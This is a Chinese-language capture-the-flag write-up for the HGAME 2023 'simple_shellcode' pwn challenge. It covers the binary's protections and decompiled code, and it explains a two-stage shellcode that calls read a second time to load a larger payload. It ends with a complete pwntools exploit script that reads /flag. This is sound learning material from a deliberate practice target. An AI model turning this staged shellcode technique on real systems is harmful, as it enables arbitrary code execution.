Featured image of post [HGAME 2023 week1]simple_shellcode wp

[HGAME 2023 week1]simple_shellcode wp

字数: 629

题面

一次read不够多,为什么不再读一次呢? 提供了 lib2.31 和对应的 ld,还有二进制文件。

分析

checksec 查看保护:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ pwn checksec ./vuln
[*] '/data/project/ctf-repo/pwn/nssctf/HGAME_2023_week1-simple_shellcode/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

保护全开呢。

ida pro 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  mmap((void *)0xCAFE0000LL, 0x1000u, 7, 33, -1, 0);
  puts("Please input your shellcode:");
  read(0, (void *)0xCAFE0000LL, 0x10u);
  sandbox();
  MEMORY[0xCAFE0000]();
  return 0;
}

利用 mmap 开辟 0xcafe0000 ~ 0xcafe1000 这块内存权限带可读可写可执行权限,然后从 stdin 读 0x10 字节写入该区域。
执行 sandbox 函数。看不懂,没影响。
最后执行 0xcafe0000 的代码。

利用

这里可以写入 shellcode 但是只有 0x10 不足以写入完成 shell 或者查看 flag 的 code。题面已经说了,可以再次 read 调用。可以先 gdb 动调查看调用 MEMORY[xcafe0000](); 的时候的寄存器情况,对 main+131 位置打断点进去:

要调用 read,可以用 syscall。read 的 syscall 是 0,而刚好存放 syscall 号的 eax 寄存器是 0。接下来还有 rdi,rsi,rdx 需要构建。

1
2
3
4
ssize_t read(int fd, void buf[count], size_t count);
rdi : fd
rsi : buf[count]
rdx : count

这里的 rdi 应该放 0,rsi 放 #cafe0010(向后偏移一点确保不会覆盖前面的 shellcode),rdx 放比较大的数量确保写入空间。
这里 rdx 就是 0xcafe0000,可以将其 mov 到 rsi,然后将 rdi 置 0 从标准输入里面写。
最后 rsi 就是我们接下来第二次写入 shellcode 的地方,可以直接 call rsi。
得到 shellcode:

1
2
3
4
5
xor rdi, rdi;
mov rsi, rdx;
add rsi, 0x10;
syscall;
call rsi;

这样就会再次调用 read 写入 0xcafe0010。
之后我们只需要调用 cat /flag 的 shellcode 就可以了。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'info')
io = process("./vuln")

#io = remote("node5.anna.nssctf.cn", 25921)

#gdb.attach(io)
shellcode = asm('''
xor rdi, rdi;
mov rsi, rdx;
add rsi, 0x10;
syscall;
call rsi;
''')

io.sendline(shellcode)

payload = asm(shellcraft.cat('/flag'))
io.sendline(payload)

io.interactive()